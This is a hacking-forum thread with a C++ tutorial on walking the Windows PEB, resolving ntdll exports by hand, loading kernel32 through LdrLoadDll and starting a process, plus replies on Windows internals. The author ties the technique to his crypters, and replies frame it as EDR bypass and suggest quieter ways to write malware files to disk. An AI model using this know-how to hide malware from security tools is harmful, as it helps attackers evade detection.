

Forum:[Hack Forums](#)

Thread: [PEB Walking, and Exploring ntdll.dll](#)

Hackers - March 14, 2024, 9:18 pm

PEB Walking,
& NTDLL

Sponsored by: [Brotherhood](#)

Enjoy More Software, Source Code, Tools, and Tutorials

<https://hackforums.net/showthread.php?tid=6265944>

<https://hackforums.net/showthread.php?tid=6266404>

<https://hackforums.net/showthread.php?tid=6265473>

<https://hackforums.net/showthread.php?tid=6265665>

<https://hackforums.net/showthread.php?tid=6266377>

<https://hackforums.net/showthread.php?tid=6264320>

<https://hackforums.net/showthread.php?tid=6263383>

<https://hackforums.net/showthread.php?tid=6264286>

<https://hackforums.net/showthread.php?tid=6266614>

<https://hackforums.net/showthread.php?tid=6264522>

<https://hackforums.net/showthread.php?tid=6266052>

<https://hackforums.net/showthread.php?tid=6265700>

<https://hackforums.net/showthread.php?tid=6266289>

<https://hackforums.net/showthread.php?tid=6265197>

<https://hackforums.net/showthread.php?tid=6265430>

As you may know, I have been learning C++ the last few months and researching low level functions. This has always been part of my goal in life, to better understand operating systems and maybe one day even work on a new one. The following information is for educational purposes only.

You will learn more about:

- PEB Walking
- TEB / Thread Environment Block
- ntdll.dll
- Documented & undocumented Windows functions
- linked research papers for you to discover all the possibilities

... aka 1 step closer to syscalls & interacting directly with, or as close as possible to, the kernel. No, not a popcorn kernel. When it comes to syscalls & really any functionality in Windows, I've learned about a system called 'rings'. Think of it like limbo - how low can you go? Ring 0 & kernel mode is like winning limbo with it an inch off the ground. Ring 3 is like winning participation trophies - anyone can do it.

What if I told you that you could use any Windows dll / library, without including windows.h, winternl.h, or any Windows header file?

What if I told you we can do it without a third party tool, and also without even using standard LoadLibrary functions to do it?

The first thing I want to make clear:

You will be able to successfully use any library or Windows function you want, without including any headers in your final program

- This is an exclusive thread for Hack Forums by [Brotherhood](#)

This advanced kernel learning part of my journey began when I was researching [Hell's Gate](#), Windows syscalls, and more. This led me to research a few other related projects: [Halos Gate](#), [Tartarus Gate](#), and [more](#).

I wanted to know more about it, but didn't know enough. I went head down and built 3 crypters that I released, 2 that are unfinished, and I started my master project, Lucid Dream DMT. I had to stop Lucid a few weeks ago to focus on the other projects, learn more, keep researching. I am happy to say that last night I made a huge breakthrough.

Sponsored by: [Brotherhood](#)

Before last night I started with some simple methods to create my own definitions for default functions in Windows:

```
Code typedef NTSTATUS (NTAPI *pNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect);
```

```
typedef NTSTATUS (NTAPI *pNtFreeVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType);
```

With these type definitions, I could call on them as replacements to the real nt functions. It interfaced with Windows, it worked at obscuring my program (to legally & ethically protect intellectual property & data privacy) in runtime, and it was a good start. Types are very important for making sure your program in user-mode can talk to the kernel. Doing it like this means we can potentially avoid calling on a library to get a function/type because we've defined it in our code ourselves.

The problem? Before last night it was still using LoadLibrary and GetProcAddress functions. Don't worry, I'll show you exactly how it's all done!

First let's cover the basics: finding these typedefs in the first place.

You can head to the official learning docs from MS:

https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/_kernel/

For my first two functions I created typedefs for, I found them here:

<https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfreevirtualmemory>

<https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory>

After playing with these for a few days, I discovered guides about walking the PEB, using base addresses, and [more](#).

To do this, one of the first things involved is getting the 'pbi' or Process Basic Information. This is what lets us get the base address of a func. So, I head over to MS' docs and look for the typedef for this.

```
Code typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength);
```

During this I also learned I would need to define my own types for PROCESS_BASIC_INFORMATION & more.

Hint: When trying to remove windows.h or winternl.h from your end program, just do it & then go to MS page to find all types and add to your custom .h file. Or, you can ask GPT for types too which (if its documented at least) is pretty reliable.

Great, now I can start to think about PEB a bit more, but at this point in my journey I started slow.

At first I started with code like this:

```
Code HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
if (!ntdll) {
    std::cerr << "Failed to load ntdll.dll." << std::endl;
    return;
}
```

```
pNtQueryInformationProcess NtQueryInformationProcess =
(pNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (!NtQueryInformationProcess) {
```

```

std::cerr << "Failed to get NtQueryInformationProcess address." << std::endl;
return;
}

```

There are a few key pieces to that code. For one, I am using LoadLibraryW() to get the ntdll module. Then although I am using my own type (for NtQueryInformationProcess), I still was relying on GetProcAddress to load that in originally with my own type.

How can I load in an Nt function, without using GetProcAddress? And how can I load in without LoadLibrary_ funcs?.

I had to keep researching. It was at this time that I found other projects such as [Artemis](#).

Artemis was an important project to take a look at because it clued me into the load order module list - or in other words, the list of all modules / dlls loaded into the current program, in runtime.

I quickly adopted a way to loop through all loaded modules and string-match for ntdll.dll (image from Artemis, not me):

Sponsored by: [Brotherhood](#)

Why ntdll? It's [always loaded](#). It's also our little "gateway" to the rest of the Windows funcs.

Now that I had a method to find ntdll without using LoadLibraryW like my original code, I ended up with this:

```

Code void FindNtdll() {
    // Access the PEB directly from the TEB (Thread Environment Block)
    PEB* peb = reinterpret_cast<PEB*>(__readgsqword(PEB_OFFSET)); // For x64
    // For x86, use: PEB* peb = reinterpret_cast<PEB*>(__readfsdword(PEB_OFFSET));

    PPEB_LDR_DATA ldr = peb->Ldr;
    LIST_ENTRY* moduleList = &ldr->InMemoryOrderModuleList;

    for (LIST_ENTRY* entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
        LDR_DATA_TABLE_ENTRY* moduleEntry = CONTAINING_RECORD(entry,
        LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        std::wstring dllName = ReadUnicodeString(moduleEntry->FullDllName);

        std::wcout << L"found:" << dllName << std::endl;

        if (dllName.find(L"ntdll.dll") != std::wstring::npos) {
            std::wcout << L"Found ntdll.dll: " << dllName << std::endl;
            std::wcout << L"Base Address: " << moduleEntry->DllBase << std::endl;

            // Directly use GetFunctionAddress to find the functions
            auto NtAllocateVirtualMemory =
            (pNtAllocateVirtualMemory)GetFunctionAddress(moduleEntry->DllBase,
            "NtAllocateVirtualMemory");
            auto NtFreeVirtualMemory =
            (pNtFreeVirtualMemory)GetFunctionAddress(moduleEntry->DllBase, "NtFreeVirtualMemory");

            break;
        }
    }
}

```

```

std::wcout << L"found:" << dllName << std::endl;

}
}

```

First thing I did was update the memory functions to use this new method for testing.

Luckily the rest of the program worked fine! This means ntdll from the loaded module list & finding it via PEB "walking" works! No need to waste time with a silly load library function anymore just to load up ntdll!

Let's break it down....

Code // Access the PEB directly from the TEB (Thread Environment Block)

```
PEB* peb = reinterpret_cast<PEB*>(__readgsqword(PEB_OFFSET)); // For x64
```

// For x86, use: PEB* peb = reinterpret_cast<PEB*>(__readfsdword(PEB_OFFSET)); The TEB is different per system, and so is the specific offset. However, what it means is that we can basically get the equivalent of "pointers" to the process. The offset is how many bytes away from start of TEB that the PEB is. If I could tell you more I would, but - and I know this will sound nutty - I am a complete beginner still when it comes to C++ and Windows. I am writing this tutorial and referencing my notes, but by no means should you call me an expert on this. I have years to go before I can call myself that.

```
Code PPEB_LDR_DATA ldr = peb->Ldr;
```

LIST_ENTRY* moduleList = &ldr->InMemoryOrderModuleList; Once you have the PEB (of your currently running program), you're able to use the Ldr which has info about any loaded modules. From here we use the in memory order module list - in other words, it gives us all DLLs/modules loaded into our current program, in same order it came in as. There are countless guides on module load orders, but for this guide that's all you need to know.

```
Code for (LIST_ENTRY* entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
    LDR_DATA_TABLE_ENTRY* moduleEntry = CONTAINING_RECORD(entry,
LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    std::wstring dllName = ReadUnicodeString(moduleEntry->FullDllName);
    if (dllName.find(L"ntdll.dll") != std::wstring::npos) {Now, this is the start of the loop of the loaded
module list. We loop through it until we find 'ntdll.dll', which in the POC program is the 2nd module
after the program's own .exe itself.
```

Within minutes my mind was racing... How can I load up another library? I can't use the same method because ntdll is auto-loaded and that's the only reason it's in the module list.

kernel32.dll is not auto included for example.

- EDIT: I am not able to see kernel32 or kernelbase on my tests, but documentation does say it is auto loaded. I will have to figure out why I can't see it - perhaps a timing issue or if not that then an obscure bug I suppose.

- However, even if you don't get the auto loaded kernel, you can load it which is what I did after never finding kernel32/base dlls loaded:

Can it be loaded now that we have ntdll? Yes : thanks to ldrLoadDll.

My first undocumented function!

<http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrLoadDll.html>

Before I jump into this, I want to mention my function `GetFunctionAddress` - it's how we finish off this first part by not using `GetProcAddress`.

Code // Function to parse the export table and get function addresses

```
void* GetFunctionAddress(PVOID baseAddress, const char* functionName) {
    auto dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    auto ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)baseAddress + dosHeader->e_lfanew);

    auto exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)baseAddress +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    auto functions = (PDWORD)((PBYTE)baseAddress + exportDirectory->AddressOfFunctions);
    auto names = (PDWORD)((PBYTE)baseAddress + exportDirectory->AddressOfNames);
    auto ordinals = (PWORD)((PBYTE)baseAddress + exportDirectory->AddressOfNameOrdinals);

    for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) {
        const char* exportName = (const char*)baseAddress + names[i];
        if (_stricmp(exportName, functionName) == 0) {
            DWORD functionRVA = functions[ordinals[i]];
            return (PBYTE)baseAddress + functionRVA;
        }
    }

    return nullptr;
}
```

The reason we can use this is because:

- we have `ntdll`'s base address / full handle
- we can request a string-value function name such as `"LdrLoadDll"`
- this works for any dll we load into our program, and for any function - even undocumented

This custom function from me is critical for making sure we're not using `GetProcAddress`. Why don't we use it? Well, our goal is to protect intellectual property & data in runtime, and using `GetProcAddress` or a `LoadLibrary_func` is a great way for a malicious actor or another software to detect what modules you use & perhaps try to pull analyze your program after you use one. The method in this thread helps with this tremendously, and of course brings us 1 level closer in our ring system (aka "limbo" analogy above ~ how low can we go?).

for `LdrLoadDll`, let's define our type just like we did for others:

Code `typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR PathToFile, ULONG Flags, PUNICODE_STRING ModuleFileName, PHANDLE ModuleHandle);`

Now let's use it to try loading up another library. How about... `kernel32`?

This uses `ntdll`'s base address & the get function address method above:

Code `auto LdrLoadDllFunc = (pLdrLoadDll)GetFunctionAddress(moduleEntry->DllBase, "LdrLoadDll");`

```
if (!LdrLoadDllFunc) {
    std::cerr << "Failed to get address of LdrLoadDll." << std::endl;
    return;
}
```

This first code uses the methods to create our wrapper function, using the type we declared before.

Now let's use it. I can't begin to express how overjoyed I was that this worked:

Code `UNICODE_STRING dllName;`

`InitializeUnicodeString(&dllName, L"kernel32.dll");`

```

HANDLE moduleHandle = nullptr;
// Attempt to load kernel32.dll
NTSTATUS status = LdrLoadDllFunc(nullptr, 0, &dllName, &moduleHandle);

if (NT_SUCCESS(status)) {
    std::wcout << L"kernel32.dll loaded successfully. Module handle: " << moduleHandle <<
std::endl;
}

```

It worked! I celebrated, jumped up & down, etc. But it was time to try 1 more thing : using kernel32 to create a process.

```

Code typedef BOOL (WINAPI *pCreateProcessW)(
    LPCWSTR lpApplicationName,
    LPWSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCWSTR lpCurrentDirectory,
    LPSTARTUPINFOW lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
);

```

Cool, we got the definitions...

```

Code auto CreateProcessWFunc = (pCreateProcessW)GetProcAddress(moduleHandle,
"CreateProcessW");
if (CreateProcessWFunc) {
    std::wcout << L"Address of CreateProcessW retrieved successfully." << std::endl;
}

```

We have the address for create process... Oh my (right??), time to use it!

```

Code STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// Prepare command line - ensure it's mutable as CreateProcessW may modify it
wchar_t cmdLine[] = L"cmd.exe /C dir";

// Call CreateProcessW with minimal, correct parameters
BOOL result = CreateProcessWFunc(
    nullptr,          // No module name (use command line)
    cmdLine,          // Command line - needs to be mutable
    nullptr,          // Process handle not inheritable
    nullptr,          // Thread handle not inheritable
    FALSE,            // Set handle inheritance to FALSE
    0,                // No creation flags
    nullptr,          // Use parent's environment block
    nullptr,          // Use parent's starting directory
    &si,               // Pointer to STARTUPINFO structure
    &pi                // Pointer to PROCESS_INFORMATION structure
);

```

```
);

if (result) {
    std::wcout << L"CreateProcessW succeeded." << std::endl;
    // Close process and thread handles.
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
} else {
    std::wcout << L"CreateProcessW failed. Error: " << GetLastError() << std::endl;
}
}
```

It was at this point that I knew I had done something magical.

I had successfully:

- hooked into ntdll to get all functions
- used ntdll mem functions & now LdrLoadDll
- used LdrLoadDll / a low level function to load another library (kernel32)
- used the loaded kernel32 handle to create a process

Check out the complete POC here: <https://github.com/LNodesL/PEB-Crawl-POC>

What's next? Well, ntdll has thousands of functions related to it, some documented, many undocumented, and most are useful:

<http://undocumented.ntinternals.net/index.html>

Possible ways to advance further with the info in this thread:

- Leverage the kernel mode Zw methods/types instead of the Nt versions (user mode)
- use a DLL instead of a PE/exe to access this same information

I'll be working on finishing up my Github repo for this POC (proof of concept) to include the remaining win types in the .h files. Then I'll be bringing this over to my Lucid Dream DMT project for more research.

Now that I am loading ntdll from the module list & finding function addresses dynamically, and able to load any other library, the next step is to actually map out the real syscall IDs and use those for even more direct access to kernel / ring 0. Maybe I'll release another tutorial on that, but for now I have a lot more reading to do to learn more about methods like this:

Special shoutout to [Geoff Chappell](#) who documents so much about this on his website too.

Special thanks to all the members who helped me get started with C++. You know who you are, but I appreciate the assistance. I hope in turn this thread can help others :)

notagh0st - March 14, 2024, 11:47 pm

mmmmm love me some undocumented WinAPI's. Really great writeup!

ttbr0 - March 15, 2024, 1:30 am

i really like seeing these technical posts. unfortunately its not the norm here so i appreciate it a lot. great work.

i do want to mention that kernel32.dll (and kernelbase.dll by extension) is always loaded into standard processes. ntdll will call LdrLoadDll to load kernel32.dll (which will load kernelbase.dll) for

process initialization purposes with things like the heap, command line arguments, and console allocation (for console processes). so you will find kernel32 in the peb's module list after ntdll (i think its the next entry).

Hackers - March 15, 2024, 4:36 am

(Mar 14, 2024 10:26 PM)shatter Wrote: [\[CITE\]](#) Very awesome! :)

You're going the right direction, especially with Hell's Gate. It was a very prominent method for EDR bypass a few years ago.

Glad to see quality content.

This is proper research. Thank you for posting this!

Also want to give props for you starting to do the research by referencing official documentation. That is commonly overlooked these days and individuals always want a solution that "just works" forever.

Thanks!!

Yeah HG seems like a solid method & a lot of the concepts are still valid / useful today. I had issues loading up HG related POC repos as-is without changes being needed, which basically led to me doing all this on my own. The other piece was most of the examples requiring assembly and I had trouble finding pure C/C++ solutions. However that might be more because of the syscalls and compiling as a driver, so i think in the next phase of my research I'll be required to do that anyways, but we'll see.

Thanks for that - definitely agreed that people just want a magic answer that doesn't require effort. For me I'm more interested in learning how to do it than actually having the working tool/end product so I'm always trying to go step by step / line by line to figure things out.

I hope others will read my thread here, the ability to now drop in any lib or function should be useful. I'm going to go back to some of my other projects too to see how I can bring this in.

(Mar 14, 2024 11:47 PM)notagh0st Wrote: [\[CITE\]](#) mmmmm love me some undocumented WinAPI's. Really great writeup! Thanks, appreciate that! Let me know if you have any questions

(Mar 15, 2024 01:30 AM)ttbr0 Wrote: [\[CITE\]](#) i really like seeing these technical posts. unfortunately its not the norm here so i appreciate it a lot. great work.

i do want to mention that kernel32.dll (and kernelbase.dll by extension) is always loaded into standard processes. ntdll will call LdrLoadDll to load kernel32.dll (which will load kernelbase.dll) for process initialization purposes with things like the heap, command line arguments, and console allocation (for console processes). so you will find kernel32 in the peb's module list after ntdll (i think its the next entry). Thanks, glad to contribute :)

I think that the kernel32.dll loading may be dependent on device/program/etc for either being available in Ldr, or maybe it's a permission or timing issue on my end - because I can't see that & I only get my exe & ntdll.dll. If kernel32 is available I'm glad I couldn't find it because it led to me figuring out the load lib func, but I am definitely going to re-review this. If I can find it I'll update the thread with more info about this.

Thanks for sharing this info!

ttbr0 - March 15, 2024, 6:14 am

(Mar 15, 2024 04:36 AM)nodes Wrote: [\[CITE\]](#) Thanks, glad to contribute :)

I think that the kernel32.dll loading may be dependent on device/program/etc for either being available in Ldr, or maybe it's a permission or timing issue on my end - because I can't see that & I only get my exe & ntdll.dll. If kernel32 is available I'm glad I couldn't find it because it led to me

figuring out the load lib func, but I am definitely going to re-review this. If I can find it I'll update the thread with more info about this.

Thanks for sharing this info!

shouldnt be any permission (its within the same process) or timing (it should be there before your main function starts). perhaps its because the name is in caps (KERNEL32.DLL and KERNELBASE.dll) and your string compare is case sensitive?

Hackers - March 15, 2024, 6:21 am

(Mar 15, 2024 06:14 AM)ttbr0 Wrote: [\[CITE\]](#) shouldnt be any permission (its within the same process) or timing (it should be there before your main function starts). perhaps its because the name is in caps (KERNEL32.DLL and KERNELBASE.dll) and your string compare is case sensitive?

that could be it if it was just on the string matching, but I print out every dll loaded too before the string match so I can see all and I've only ever seen the .exe & ntdll.dll loaded

I'm guessing that kernel is not loaded yet when my code runs and it's a timing issue because otherwise it would show up. I can add a delay or other tests to see if this is true because documentation does suggest kernel is not guaranteed to be loaded immediately - but I would expect it to load before my code runs, so it does feel weird.

Thanks again for this info, very good to know.

Euaggelistes - March 15, 2024, 6:35 am

Thank you for sharing. This is huge to me. Really appreciate it!

Hackers - March 15, 2024, 6:37 am

(Mar 15, 2024 06:35 AM)Euaggelistes Wrote: [\[CITE\]](#) Thank you for sharing. This is huge to me. Really appreciate it!

Thanks for that & you're welcome!

I hope it can save people hours of research at least, and at best let them use things they may have never heard about. The other thing I'm hoping to achieve next is the actual syscall IDs to call directly, and am going to try to do it with pure C/C++ without having to use assembly if I can. Not sure if I'll succeed but that would be Part 2 of this thread basically.

SIM-5468029 - March 15, 2024, 7:24 am

Great releases for the community!

(Mar 14, 2024 10:26 PM)shatter Wrote: [\[CITE\]](#) Very awesome! :)

You're going the right direction, especially with Hell's Gate. It was a very prominent method for EDR bypass a few years ago.

Glad to see quality content.

This is proper research. Thank you for posting this!

Also want to give props for you starting to do the research by referencing official documentation. That is commonly overlooked these days and individuals always want a solution that "just works" forever.

I've also come across another newer technique called EDR preloading, but I haven't had the chance to test it yet.

(Mar 15, 2024 06:37 AM)nodes Wrote: [\[CITE\]](#) Thanks for that & you're welcome!

I hope it can save people hours of research at least, and at best let them use things they may have

never heard about. The other thing I'm hoping to achieve next is the actual syscall IDs to call directly, and am going to try to do it with pure C/C++ without having to use assembly if I can. Not sure if I'll succeed but that would be Part 2 of this thread basically.

You will get the hang of assembly pretty fast!

Hackers - March 15, 2024, 8:04 am

(Mar 15, 2024 07:24 AM)Kang Wrote: [\[CITE\]](#) Great releases for the community!

I've also come across another newer technique called EDR preloading, but I haven't had the chance to test it yet. This is something I am looking into as well. Here's 1 article:

<https://pastebin.com/Kr5Je7bE>

Spoiler ([Click to View](#))

Also looking more into the load order and how you can have your own named dll load in first, to avoid another program from injecting theirs - but still researching right now, not coding this out yet.

(Mar 15, 2024 07:24 AM)Kang Wrote: [\[CITE\]](#) You will get the hang of assembly pretty fast! Thanks, it doesn't look so bad, it was actually more the compiling & includes that was throwing me off because I'm still learning Visual Studio. I think once I figure out the proper way to build in VS I can use assembly-based HG codebases easily. It had problems with g++ manual compiling, but again - glad I didn't figure it out otherwise I would've just used Halosgate and never learned as much as I had to here.

Infinity. - April 10, 2024, 11:12 am

Man your tutorials are the reason which takes most of time on HF these days

I tried a psuedo approach in Rust and here's the thing so far.. need more time in this

```
Code fn main() {
    unsafe {
        // Get handle to the current process
        let process_handle = GetCurrentProcess();

        // Get PEB address
        let peb_address = get_peb_address(process_handle);

        // Read PEB
        let mut peb: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
        let peb_size = std::mem::size_of::<PROCESS_BASIC_INFORMATION>();
        let mut bytes_read = 0;
        let success = ReadProcessMemory(
            process_handle,
            peb_address as *const _,
            &mut peb as *mut _ as *mut _,
            peb_size,
            &mut bytes_read
        );
        if success == 0 {
            panic!("Failed to read PEB");
        }
    }
}
```

```

// Get base address of ntdll.dll
let ntdll_base_address = get_ntdll_base_address(process_handle, peb);

println!("ntdll.dll base address: {:X}", ntdll_base_address);

// Close process handle
CloseHandle(process_handle);
}
}

```

Will probably finish this this weekend or probably block you somehow <3

Hackers - April 10, 2024, 11:53 am

(Apr 10, 2024 11:12 AM)Infinity. Wrote: [CITE](#) Man your tutorials are the reason which takes most of time on HF these days

I tried a psuedo approach in Rust and here's the thing so far.. need more time in this

```

Code fn main() {
    unsafe {
        // Get handle to the current process
        let process_handle = GetCurrentProcess();

        // Get PEB address
        let peb_address = get_peb_address(process_handle);

        // Read PEB
        let mut peb: PROCESS_BASIC_INFORMATION = std::mem::zeroed();
        let peb_size = std::mem::size_of::<PROCESS_BASIC_INFORMATION>();
        let mut bytes_read = 0;
        let success = ReadProcessMemory(
            process_handle,
            peb_address as *const _,
            &mut peb as *mut _ as *mut _,
            peb_size,
            &mut bytes_read
        );
        if success == 0 {
            panic!("Failed to read PEB");
        }

        // Get base address of ntdll.dll
        let ntdll_base_address = get_ntdll_base_address(process_handle, peb);

        println!("ntdll.dll base address: {:X}", ntdll_base_address);

        // Close process handle
        CloseHandle(process_handle);
    }
}

```

Will probably finish this this weekend or probably block you somehow <3
 ahahaha! Nice, that's a huge compliment - thanks!

I'll make sure to feed you some new content soon :) I am working on a DLL in C++ that you then load into Python or PHP to do some stuff as a POC, to make it easier to access lower level in those langs for things like this :)

JohnFitzgeraldKennedy - April 12, 2024, 8:22 pm

Very HQ post OP! I am coming back to HF after a long time away, and I just wanted to say, these types of posts are the exact reason why. Im a sucker for windows internals type stuff. Each post like this makes all the "pls give me FUD cypter I dont understand" posts worth it. Just wanted to call that out, looking forward to seeing more posts from you!

(Mar 15, 2024 06:21 AM)nodes Wrote: [\[CITE\]](#) I've only ever seen the .exe & ntdll.dll loaded I'm guessing that kernel is not loaded yet when my code runs and it's a timing issue because otherwise it would show up.

Are you compiling your binary as a "native" binary? My understanding based on the imho very good book Windows Internals 7th edition (recommend reading this if you're curious on some other useful to know windows undocumented type stuff), and personal experience working on the same types of PE loading stuff you're working on (although it has been a while since I've worked on PE stuff) is that kernel32.dll and its associated sub DLLs will be loaded prior to your entry point function gaining code execution in most cases, unless the binary is so called "native" or doesnt have a specific subsystem. I think only a few processes which are early in the usermode startup for windows normally are "native" iirc. Might be worth checking your compilation settings, although I think use ntdll / direct syscalls is cooler anyways lol

Will be waiting eagerly for a potential part 2 ;)

Hackers - April 14, 2024, 4:51 am

(Apr 12, 2024 08:22 PM)JohnFitzgeraldKennedy Wrote: [\[CITE\]](#) Very HQ post OP! I am coming back to HF after a long time away, and I just wanted to say, these types of posts are the exact reason why. Im a sucker for windows internals type stuff. Each post like this makes all the "pls give me FUD cypter I dont understand" posts worth it. Just wanted to call that out, looking forward to seeing more posts from you!

Are you compiling your binary as a "native" binary? My understanding based on the imho very good book Windows Internals 7th edition (recommend reading this if you're curious on some other useful to know windows undocumented type stuff), and personal experience working on the same types of PE loading stuff you're working on (although it has been a while since I've worked on PE stuff) is that kernel32.dll and its associated sub DLLs will be loaded prior to your entry point function gaining code execution in most cases, unless the binary is so called "native" or doesnt have a specific subsystem. I think only a few processes which are early in the usermode startup for windows normally are "native" iirc. Might be worth checking your compilation settings, although I think use ntdll / direct syscalls is cooler anyways lol

Will be waiting eagerly for a potential part 2 ;)

Nice, welcome back! Glad to know this thread was cool to you :)

There are definitely a lot of people, on any site, who just want the magical answers. I'm a bigger fan of learning, sharing what I learn, and encouraging people to build their own tools > trying to find a solution that probably won't be 100% perfect for every use case...

You're probably right that the other dlls would be loaded prior to entry point, but I was surprised to not see it in modules list, so guessing it must be somewhere else, or it's something specific to my

computer. I'll try to learn more about this

This isn't a full part2, but is a followup thread related to this that I shared recently:

<https://hackforums.net/showthread.php?tid=6267385>

JohnFitzgeraldKennedy - April 14, 2024, 6:08 am

(Apr 14, 2024 04:51 AM)nodes Wrote: [\[CITE\]](#) You're probably right that the other dlls would be loaded prior to entry point, but I was surprised to not see it in modules list, so guessing it must be somewhere else, or it's something specific to my computer. I'll try to learn more about this

Sorry to keep harping on this (just trying to provide hopefully useful info! will let it go after this reply...), but did you check if your PE is so called "[native](#)"? I.e., is the [Subsystem](#) field in the PE image "optional" headers struct set to 1? If so, only ntdll will be loaded by default. If its set to 2 or 3, (GUI or CLI Win32 app, respectively) the kernel should load/map kernel32.dll by default unless something has changed in recent Windows editions (X to doubt for backward compatibility reasons). If it is loaded you should see it using the same PEB in memory module walking technique used to find ntdll. Recommend reading chapter 3 of this book (or just the whole thing tbh, I love this book and cant recommend it enough) for more good information on processes/PE image loading under the hood in Windows: <https://archive.org/details/windows-internals-part1-7th/page/n171/mode/1up>

Godspeed, and feel free to hmu if you have any questions, Im always happy to help if I can (especially on Windows internals stuff!) :)

Hackers - April 14, 2024, 1:28 pm

(Apr 14, 2024 06:08 AM)JohnFitzgeraldKennedy Wrote: [\[CITE\]](#) Sorry to keep harping on this (just trying to provide hopefully useful info! will let it go after this reply...), but did you check if your PE is so called "[native](#)"? I.e., is the [Subsystem](#) field in the PE image "optional" headers struct set to 1? If so, only ntdll will be loaded by default. If its set to 2 or 3, (GUI or CLI Win32 app, respectively) the kernel should load/map kernel32.dll by default unless something has changed in recent Windows editions (X to doubt for backward compatibility reasons). If it is loaded you should see it using the same PEB in memory module walking technique used to find ntdll. Recommend reading chapter 3 of this book (or just the whole thing tbh, I love this book and cant recommend it enough) for more good information on processes/PE image loading under the hood in Windows:

<https://archive.org/details/windows-internals-part1-7th/page/n171/mode/1up>

Godspeed, and feel free to hmu if you have any questions, Im always happy to help if I can (especially on Windows internals stuff!) :)

Ah, sorry I didn't respond to that before. I just checked, using sigcheck.exe and receive this for one of my programs:

Code Sigcheck v2.90 - File version and signature viewer

Copyright (C) 2004-2022 Mark Russinovich

Sysinternals - www.sysinternals.com

c:\users\NODES\desktop\personal\c++\dreamcrypt\working\fully-working-clean\DreamCrypt.exe:

Verified: Unsigned

Link date: 4:06 PM 3/16/2024

Publisher: n/a

Company: n/a

Description: n/a

Product: n/a

Prod version: n/a

File version: n/a

MachineType: 64-bit

Binary Version: n/a

Original Name: n/a
Internal Name: n/a
Copyright: n/a
Comments: n/a
Entropy: 5.895

This doesn't show subsystem, but does show 64-bit for machine type, and if I compile for another it shows 32-bit.

I'm pretty sure based on what you said it is set to 1, but I don't have dumpbin handy or another tool to check.

ttbr0 - April 14, 2024, 9:24 pm

(Apr 14, 2024 01:28 PM)nodes Wrote: [\[CITE\]](#) Ah, sorry I didn't respond to that before. I just checked, using sigcheck.exe and receive this for one of my programs:

Code Sigcheck v2.90 - File version and signature viewer

Copyright (C) 2004-2022 Mark Russinovich

Sysinternals - www.sysinternals.com

c:\users\NODES\desktop\personal\c++\dreamcrypt\working\fully-working-clean\DreamCrypt.exe:

Verified: Unsigned
Link date: 4:06 PM 3/16/2024
Publisher: n/a
Company: n/a
Description: n/a
Product: n/a
Prod version: n/a
File version: n/a
MachineType: 64-bit
Binary Version: n/a
Original Name: n/a
Internal Name: n/a
Copyright: n/a
Comments: n/a
Entropy: 5.895

This doesn't show subsystem, but does show 64-bit for machine type, and if I compile for another it shows 32-bit.

I'm pretty sure based on what you said it is set to 1, but I don't have dumpbin handy or another tool to check.

you will need a proper pe parser like pe bear to see the headers and find the subsystem value. the subsystem value of 1 corresponds to native which is mostly associated with things like kernel drivers. anything compiled into a standard binary on windows is most likely either a cui (console application) or gui subsystem. best to check your process using something like system informer

Hackers - April 15, 2024, 6:01 am

(Apr 14, 2024 09:24 PM)ttbr0 Wrote: [\[CITE\]](#) you will need a proper pe parser like pe bear to see the headers and find the subsystem value. the subsystem value of 1 corresponds to native which is mostly associated with things like kernel drivers. anything compiled into a standard binary on windows is most likely either a cui (console application) or gui subsystem. best to check your process using something like system informer

Gotcha gotcha, thanks for this info.

At some point I will probably check, got too many things going on to followup on this today though

SIM-5411207 - July 24, 2024, 5:03 pm

It's good but there are many things missing. ntdll is already loaded for every Windows application.

Use "GetModuleHandle" or my suggestion find address as manuel with peb. Instead of the "CreateProcessW" function, you can use the "NtCreateUserProcess" function to take things even further. Likewise, when you write the malware file to disk, use the "NtCreateFile", "NtWriteFile" and "NtClose" functions. And after loaded the DLL, unload it with "LdrUnloadDll".

Hackers - July 24, 2024, 7:24 pm

(Jul 24, 2024 05:03 PM)panchito Wrote: [\[CITE\]](#) It's good but there are many things missing. ntdll is already loaded for every Windows application. Use "GetModuleHandle" or my suggestion find address as manuel with peb. Instead of the "CreateProcessW" function, you can use the "NtCreateUserProcess" function to take things even further. Likewise, when you write the malware file to disk, use the "NtCreateFile", "NtWriteFile" and "NtClose" functions. And after loaded the DLL, unload it with "LdrUnloadDll".

